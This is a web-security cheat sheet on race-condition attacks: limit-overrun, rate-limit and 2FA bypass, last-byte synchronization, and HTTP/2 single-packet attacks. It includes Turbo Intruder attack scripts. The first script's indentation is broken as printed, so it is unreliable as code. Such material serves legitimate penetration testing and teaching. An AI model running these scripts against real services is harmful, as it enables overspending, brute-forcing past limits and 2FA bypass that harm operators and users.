Race Condition

Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.

Summary

Tools
Methodology
- Limit-overrun
- Rate-limit Bypass
Techniques
- HTTP/1.1 Last-byte Synchronization
- HTTP/2 Single-packet Attack
Turbo Intruder
- Example 1
- Example 2
Labs
References

Tools

PortSwigger/turbo-intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.
JavanXD/Raceocat - Make exploiting race conditions in web applications highly efficient and ease-of-use.
nxenon/h2spacex - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy‌ + Exploit Timing Attacks

Methodology

Limit-overrun

Limit-overrun refers to a scenario where multiple threads or processes compete to update or access a shared resource, resulting in the resource exceeding its intended limits.

Examples: Overdrawing limit, multiple voting, multiple spending of a giftcard.

Rate-limit Bypass

Rate-limit bypass occurs when an attacker exploits the lack of proper synchronization in rate-limiting mechanisms to exceed intended request limits. Rate-limiting is designed to control the frequency of actions (e.g., API requests, login attempts), but race conditions can allow attackers to bypass these restrictions.

Examples: Bypassing anti-bruteforce mechanism and 2FA.

Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah

Techniques

HTTP/1.1 Last-byte Synchronization

Send every requests except the last byte, then “release” each request by sending the last byte.

Execute a last-byte synchronization using Turbo Intruder

engine.queue(request, gate='race1')
engine.queue(request, gate='race1')
engine.openGate('race1')

Examples:

Cracking reCAPTCHA, Turbo Intruder style - James Kettle

HTTP/2 Single-packet Attack

In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.

PortSwigger/turbo-intruder/race-single-packet-attack.py
Burp Suite
- Send a request to Repeater
- Duplicate the request 20 times (CTRL+R)
- Create a new group and add all the requests
- Send group in parallel (single-packet attack)

Examples:

CVE-2022-4037 - Discovering a race condition vulnerability in Gitlab with the single-packet attack - James Kettle

Turbo Intruder

Example 1

Send request to turbo intruder

Use this python code as a payload of the turbo intruder

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                        concurrentConnections=30,
                        requestsPerConnection=30,
                        pipeline=False
                        )

for i in range(30):
    engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
Click “Attack”

Example 2

This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    request1 = '''
POST /target-URI-1 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>

parameterName=parameterValue
    '''

    request2 = '''
GET /target-URI-2 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
    '''

    engine.queue(request1, gate='race1')
    for i in range(30):
        engine.queue(request2, gate='race1')
    engine.openGate('race1')
    engine.complete(timeout=60)
def handleResponse(req, interesting):
    table.add(req)